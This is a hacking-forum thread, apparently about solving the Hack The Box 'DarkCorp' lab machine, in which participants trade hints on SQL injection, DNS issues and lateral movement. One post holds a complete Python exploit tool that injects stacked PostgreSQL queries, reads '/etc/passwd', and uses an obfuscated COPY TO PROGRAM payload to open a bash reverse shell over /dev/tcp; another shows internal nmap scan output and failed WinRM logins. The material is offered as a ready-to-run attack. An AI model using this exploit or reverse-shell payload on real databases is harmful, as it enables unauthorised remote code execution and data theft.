02-09-2025, 01:56 PM
|
DarkCorp Hack the Box Season 7 (Windows Insane)
by RedBlock - Saturday February 8, 2025 at 03:32 PM
|
|
02-09-2025, 02:00 PM
02-09-2025, 02:04 PM
(02-09-2025, 01:49 PM)0xbeef Wrote:(02-09-2025, 01:16 PM)jsvensson Wrote: taylor.b.adm - is our goal he is in remote management group It's going to work just fix the nameserver issues. You can use dnschef. And add dns-timeout to your bloodhound ingestor query.
02-09-2025, 02:33 PM
Can someone explain to me how to do the SQLI please?
02-09-2025, 02:48 PM
(02-09-2025, 02:33 PM)USBTYPEA Wrote: Can someone explain to me how to do the SQLI please? for them who stuck on sqli , - change cookie - change ip-port 2 option 1 - shell 2 - executes sqls --> just like select 1 , select pg_read_file('/etc/passwd') import requests
from cmd import Cmd
from bs4 import BeautifulSoup
from typing import Optional, List
# Configuration
TARGET_URL = "http://dev-a3f1-01.drip.htb/analytics"
COOKIES = {
"session": "COOKIE"
}
class SQLIExploiter(Cmd):
"""Interactive SQL Injection Exploiter."""
def __init__(self) -> None:
super().__init__()
self.url = TARGET_URL
self.prompt = "sql> "
self.session = requests.Session()
def _send_request(self, payload: str) -> Optional[str]:
"""
Sends an HTTP POST request with the SQL payload.
Args:
payload (str): The SQL injection payload.
Returns:
Optional[str]: The response text if successful, None otherwise.
"""
data = {"query": f"'';{payload};"}
try:
response = self.session.post(self.url, cookies=COOKIES, data=data)
response.raise_for_status() # Raise an error for bad responses (4xx, 5xx)
return response.text
except requests.RequestException as e:
print(f"[ERROR] Request failed: {e}")
return None
def _parse_table(self, html: str) -> None:
"""
Parses and prints the first <td> from each row in the HTML table.
Args:
html (str): The HTML content to parse.
"""
soup = BeautifulSoup(html, "html.parser")
rows = soup.find_all("tr")[1:] # Skip the header row
if not rows:
print("[INFO] No data found in the table.")
return
results: List[str] = [row.find_all("td")[0].text.strip() for row in rows]
print("\n------- RESULT -------")
for value in results:
print(value)
print()
def do_shell(self, _: str = "") -> None:
"""
Executes a reverse shell payload via SQL injection.
Args:
_ (str): Unused argument (required by Cmd's do_* method signature).
"""
shell_payload = """
DO $$
DECLARE
c text;
BEGIN
c := CHR(67) || CHR(79) || CHR(80) || CHR(89) ||
' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.XX.XX/YYYY 0>&1"''';
EXECUTE c;
END $$;
"""
print("[INFO] Sending reverse shell payload...")
response = self._send_request(shell_payload)
if response:
print("[INFO] Payload executed. Check your listener.")
else:
print("[ERROR] Failed to execute payload.")
def default(self, payload: str) -> None:
"""
Handles user input and executes the SQLi query.
Args:
payload (str): The SQL injection payload entered by the user.
"""
html = self._send_request(payload)
if html:
self._parse_table(html)
if __name__ == "__main__":
try:
SQLIExploiter().cmdloop()
except KeyboardInterrupt:
print("\n[INFO] Exiting...")
02-09-2025, 02:52 PM
From within the initial target machine:
ebelford@drip:/tmp/wk$ Nmap scan report for DC-01 (172.16.20.1) Host is up (0.0015s latency). Not shown: 1144 filtered ports PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http 88/tcp open kerberos 135/tcp open epmap 139/tcp open netbios-ssn 389/tcp open ldap 443/tcp open https 445/tcp open microsoft-ds 464/tcp open kpasswd 593/tcp open unknown 636/tcp open ldaps Nmap scan report for 172.16.20.2 Host is up (0.00088s latency). Not shown: 1152 closed ports PORT STATE SERVICE 80/tcp open http 135/tcp open epmap 139/tcp open netbios-ssn 445/tcp open microsoft-ds Nmap scan report for drip.darkcorp.htb (172.16.20.3) Host is up (0.00022s latency). Not shown: 1154 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http tried winrm and psexec, wmiexec to no avail cant seem to login to victor.r Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError tried proxychains socks5 and direct port forward, any ideas?
02-09-2025, 02:53 PM
(02-09-2025, 02:48 PM)x1rx Wrote:the cookie? is the one we create when generating a user in http://drip.htb??(02-09-2025, 02:33 PM)USBTYPEA Wrote: Can someone explain to me how to do the SQLI please?
02-09-2025, 02:59 PM
(02-09-2025, 02:53 PM)USBTYPEA Wrote:(02-09-2025, 02:48 PM)x1rx Wrote:the cookie? is the one we create when generating a user in http://drip.htb??(02-09-2025, 02:33 PM)USBTYPEA Wrote: Can someone explain to me how to do the SQLI please? no , the one you will get after password reseting and loggedin in on dev-a3f1-01.drip.htb
02-09-2025, 03:04 PM
(02-09-2025, 02:59 PM)x1rx Wrote:(02-09-2025, 02:53 PM)USBTYPEA Wrote:(02-09-2025, 02:48 PM)x1rx Wrote:the cookie? is the one we create when generating a user in http://drip.htb??(02-09-2025, 02:33 PM)USBTYPEA Wrote: Can someone explain to me how to do the SQLI please? this is crazy when they did that??? that's why i didn't get the sqli. i want to cry. |
|
« Next Oldest | Next Newest »
|
| Possibly Related Threads… | |||||
| Thread | Author | Replies | Views | Last Post | |
| Hack the box Pro Labs, VIP, VIP+ 1 month free Method | 22 | 9,270 |
06-25-2026, 02:15 PM Last Post: |
||
| HTB Eloquia User and Root Flags - Insane Box | 13 | 7,456 |
03-27-2026, 06:14 PM Last Post: |
||
| HTB - VOLEUR.HTB - MEDIUM WINDOWS | 1 | 6,652 |
02-09-2026, 07:07 PM Last Post: |
||
| HTB - CERTIFICATE.HTB - HARD WINDOWS | 0 | 2,861 |
02-09-2026, 04:49 PM Last Post: |
||
| Hack the Box FullHouse all 7 flags | 13 | 4,810 |
01-27-2026, 08:30 PM Last Post: |
||
